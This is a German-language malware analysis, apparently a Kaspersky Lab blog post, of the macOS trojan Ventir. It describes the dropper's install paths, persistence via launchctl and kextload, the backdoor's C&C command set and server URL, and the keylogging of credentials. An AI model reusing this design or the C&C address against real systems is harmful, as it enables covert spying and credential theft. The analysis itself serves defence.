Trojaner Ventir: Basteln Sie sich Ihren eigenen MacOS-Spion

Vor gar nicht langer Zeit erreichte uns bei Kaspersky Lab eine interessante Datei (MD5 9283c61f8cce4258c8111aaf098d21ee) zur Analyse, die sich als multimodularer Schädling für MacOS X erwies. Bereits nach einer ersten vorläufigen Untersuchung war klar, dass diese Datei nichts Gutes im Schilde führt: Die gewöhnliche ausführbare 64-Bit mach-o-Datei enthielt in einer Datensektion weitere mach-o-Dateien, von denen eine im Autostart platziert worden war, was typisch ist für ein trojanisches Dropper-Programm.

Weiterführende Untersuchungen brachten zutage, dass sich innerhalb des Schädlings eine Backdoor, ein Keylogger sowie ein trojanisches Spionage-Programm verbergen. Besonders bemerkenswert ist, dass der Keylogger eine Kernel-Erweiterung mit offenem Quellcode verwendet, die für jeden Interessierten verfügbar ist, beispielsweise auf GitHub!

Derzeit werden die entdeckten Dateien in Abhängigkeit von ihrer Bestimmung folgendermaßen von den Antiviren-Lösungen von Kaspersky Lab detektiert als: Trojan-Dropper.OSX.Ventir.a, Backdoor.OSX.Ventir.a, Trojan-Spy.OSX.Ventir.a und not-a-virus:Monitor.OSX.LogKext.c.

Quelldatei (Trojan-Dropper.OSX.Ventir.a)

Sofort nach dem Start überprüft der Dropper durch den Aufruf der Funktion geteuid(), ob er über die Rechte eines Superusers (oder auch Root-Rechte) verfügt. Vom Ergebnis dieser Überprüfung hängt es ab, wo die Dateien des Trojaners installiert werden:

  • Verfügt der Schädling über Superuser-Rechte, werden die Dateien in /Library/.local und /Library/LaunchDaemons installiert;
  • Verfügt der Schädling nicht über Root-Rechte, so werden die Dateien an den Orten ~/Library/.local und ~/Library/LaunchAgents installiert (die Tilde “~” kennzeichnet den Pfad zum Heimordner des aktuellen Anwenders).

Alle Dateien des Trojaners, die auf einen infizierten Computer geladen werden, nehmen von vornherein ihren Platz in der Sektion „__data“ der Dropper-Datei ein.

Anordnung der Trojaner-Dateien innerhalb des Droppers

Im Endeffekt werden in einem infizierten System die folgenden Dateien installiert:

  1. Library/.local/updated – startet die Dateien update und EventMonitor erneut, falls sie unerwartet beendet werden sollten.
  2. Library/.local/reweb – dient dem Neustart der Datei updated.
  3. Library/.local/update – Backdoor-Modul.
  4. Library/.local/libweb.db –Datenbankdatei des Schädlings. Enthält von vornherein die globale Konfiguration des Trojaners, beispielsweise die Adresse des C&C.
  5. Library/LaunchAgents (oder LaunchDaemons)/com.updated.launchagent.plist – Eigenschaftsdatei, die zur Installation der Datei Library/.local/updated im Autostart mit Hilfe von Daemon launchd ausgeführt wird.
  6. In Abhängigkeit davon, ob Superuser-Rechte vorhanden sind:

    А) wenn sie vorhanden sind – /Library/.local/kext.tar. Des Weiteren wird das Archiv entpackt:

    • updated.kext – Treiber, der die Tastatureingaben des Nutzers abfängt;
    • Keymap.plist – Karte der Übereinstimmungen der Codes der gedrückten Tasten mit deren Werten;
    • EventMonitor – Agent, der die Tastatureingaben sowie einige Systemereignisse in der Datei Library/.local/.logfile protokolliert.

    B) wenn sie nicht vorhanden sind – ~/Library/.local/EventMonitor. Ein Agent, der den Namen des aktuell aktiven Fensters und die Tastatureingaben in der Datei Library/.local/.logfile protokolliert

Nach Installation der aufgezählten Dateien legt der Trojaner mit Hilfe des Standard-Konsolentools launchctl die Datei updated in den Autostart (Befehl launchctl load %s/com.updated.launchagent.plist).

Für den Fall, dass Superuser-Rechte vorhanden sind, lädt der Dropper daraufhin mit Hilfe des Standardtools OSX kextload den protokollierenden Treiber in den Kernel (Befehl kextload /System/Library/Extensions/updated.kext)

Daraufhin lädt Trojan-Dropper.OSX.Ventir.a die Datei reweb und löscht sich selbst aus dem System.

Die Dateien updated und reweb

Die Datei updated beendet alle Prozess mit dem Namen reweb (Befehl killall -9 reweb). Dann überprüft er in Abständen, ob die Prozesse EventMonitor und update laufen und startet sie, wenn nötig, neu.

Die Datei reweb beendet alle Prozess mit den Namen updated und update, woraufhin sie die Datei Library/.local/updated startet.

Die Datei update (Backdoor.OSX.Ventir.a)

Zu Beginn ihrer Arbeit verteilt die Backdoor die Felderwerte aus der config-Tabelle der Datenbank libweb.db nach lokalen Variablen zur weiteren Verwendung.

Für den Befehlsempfang wird eine HTTP GET-Anfrage der folgenden Art verwendet: http://220.175.13.250:82/macsql.php?mode=getcmd&key=1000&udid=000C29174BA0,

wobei key ein gewisser Schlüssel ist, der in libweb.db in der config-Tabelle gespeichert wird; udid eine МАС-Adresse ist, und 220.175.13.250:82 die IP-Adresse und den Port des C&C-Servers bezeichnen.

Diese Anfrage wird regelmäßig in kurzen Intervallen in einer Endlosschleife gesendet.

Die Backdoor kann die folgenden Befehle vom C&C ausführen:

  • reboot – Neustart des Computers;
  • restart – Neustart der Backdoor durch das Starten der Datei reweb;
  • uninstall – vollständiges Löschen der Backdoor aus dem System.
  • show config – Senden der Daten aus der config-Tabelle an den C&C-Server;
  • down exec – Aktualisierung der Datei update, Update-Download vom C&C-Server;
  • down config – Aktualisierung der Konfigurationsdatei libweb.db, Download des Updates vom C&C-Server;
  • upload config – Senden der Datei libweb.db an den C&C-Server;
  • update config:[Parameter] – Update der config-Datei in der Datenbankdatei libweb.db, in den Parametern werden die Felderwerte der Tabelle übermittelt;
  • executeCMD:[Parameter] – Ausführung des Befehls, der im Parameter über die Funktion popen(cmd, “r”) angegeben wird, Senden der Ausgabe des Befehls an den C&C-Server;
  • executeSYS:[Parameter] – Ausführung des Befehls, der im Parameter über die Funktion system(cmd) angegeben wird;
  • executePATH:[Parameter] – Start einer Datei aus dem Verzeichnis Library/.local/, der Dateiname wird im Parameter angegeben;
  • uploadfrompath:[Parameter] – Upload der Datei mit dem im Parameter vermerkten Namen aus dem Verzeichnis Library/.local/ auf den C&C-Server;
  • downfile:[Parameter] – Download der Datei mit dem im Parameter angegebene Namen vom C&C-Server und Speichern der Datei gemäß dem im Parameter angegebenen Pfad.

Teil des Befehls, der vom Backdoor-Modul verarbeitet wird

Datei EventMonitor (Trojan-Spy.OSX.Ventir.a)

Diese Datei wird ins System geladen, wenn es dem Dropper nicht gelingt, Superuser-Rechte zu erhalten. Nach dem Start installiert Trojan-Spy.OSX.Ventir.a mit Hilfe der API-Funktionen des Carbon Event Managers seine Systemereignis-Routine. In der neuen Routine erfolgt das Abfangen von Ereignissen, die mit dem Betätigen von Tasten zusammenhängen sowie deren Protokollierung in der Datei ~/Library/.local/.logfile. Hilfstasten (wie etwa shift) erscheinen im Protokoll in der folgenden Form: [command],  [option],  [ctrl], [fn], [ESC], [tab], [backspace] usw.

Verarbeitung von Tastatur-Ereignissen

Ebenfalls direkt vor der Verarbeitung der Tastenbetätigungen erfolgt die Bestimmung des Namens des Prozesses, dessen Fenster aktuell aktiv ist. Zu diesem Zweck werden die Funktionen GetFrontProcess und CopyProcessName aus der Carbon-API verwendet. Der Name des Prozesses wird ebenfalls ins Protokoll aufgenommen in Form von [Application {Name_Prozess} is the frontwindow]. Diesem Umstand ist es zu verdanken, dass der Trojaner bestimmen kann, in welche Anwendung die protokollierte Phrase eingebettet wurde.

Datei kext.tar (not-a-virus:Monitor.OSX.LogKext.c)

Wie bereits oben erwähnt, wird das Archiv kext.tar auf den infizierten Computer geladen, wenn es dem Trojaner Trojan-Dropper.OSX.Ventir gelungen ist, Root-Rechte zu erhalten. In dem Archiv befinden sich drei Dateien:

  • updated.kext
  • EventMonitor
  • Keymap.plist

Das Programmpaket updated.kext ist eine Kernel-Erweiterung (kext) mit offenem Quellcode, die für das Abfangen von Tastaturbetätigungen vorgesehen ist. Diese Erweiterung wird von uns schon seit Langem als not-a-virus:Monitor.OSX.LogKext.c detektiert, und ihr Quellcode (wie ebenfalls bereits erwähnt) ist zum gegenwärtigen Zeitpunkt für jeden Interessierten verfügbar.

Die Datei Keymap.plist ist eine Karte der Übereinstimmung des Codes gedrückter Tasten mit ihren Werten. Die Datei EventMonitor verwendet sie zur Bestimmung der Tastaturwerte nach den entsprechenden Codes, die ihr mit der Datei updated.kext übermittelt werden.

Die Datei EventMonitor ist ein Dateiagent, der Daten von der Kernel-Erweiterung updated.kext entgegennimmt, sie verarbeitet und in die Log-Datei /Library/.local/.logfile schreibt. Hier als Beispiel ein Teil eines solchen Protokolls, das die vom Trojaner abgefangenen Anmeldedaten inklusive Passwort enthält:

Wie man auf dem Screenshot sieht, landen Benutzername und Kennwort des E-Mail-Accounts umgehend im Log, sobald das Opfer die Seite yandex.ru im Browser aufgerufen und die entsprechenden Daten dort eingegeben hat – und von dort wandern sie direkt in die Hände der Cyberkriminellen.

Diese Bedrohung ist gerade vor dem Hintergrund des noch nicht lange zurückliegenden Vorfalls besonders aktuell, bei dem es zum Verlust von Anmeldeinformationen und Passwörtern für Accounts bei Yandex.ru, Mail.ru und Gmail kam. Es ist nicht ausgeschlossen, dass am Auffüllen dieser Datenbanken auch Schädlinge der Familie Ventir beteiligt waren.

Zum Abschluss sei erwähnt, dass der Trojaner Trojan-Dropper.OSX.Ventir.a mit seiner multimodularen Struktur an den berüchtigten Trojan.OSX.Morcut (alias OSX/Crisis) erinnert, der in etwa dieselbe Anzahl an Modulen mit ähnlicher Bestimmung enthielt. Die Verwendung von Software mit offenem Quellcode erleichtert Cyberkriminellen die Konstruktion neuer Schädlinge erheblich. Daher ist davon auszugehen, dass die Zahl trojanischer Spionage-Programme künftig weiter steigen wird.

Ähnliche Beiträge

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.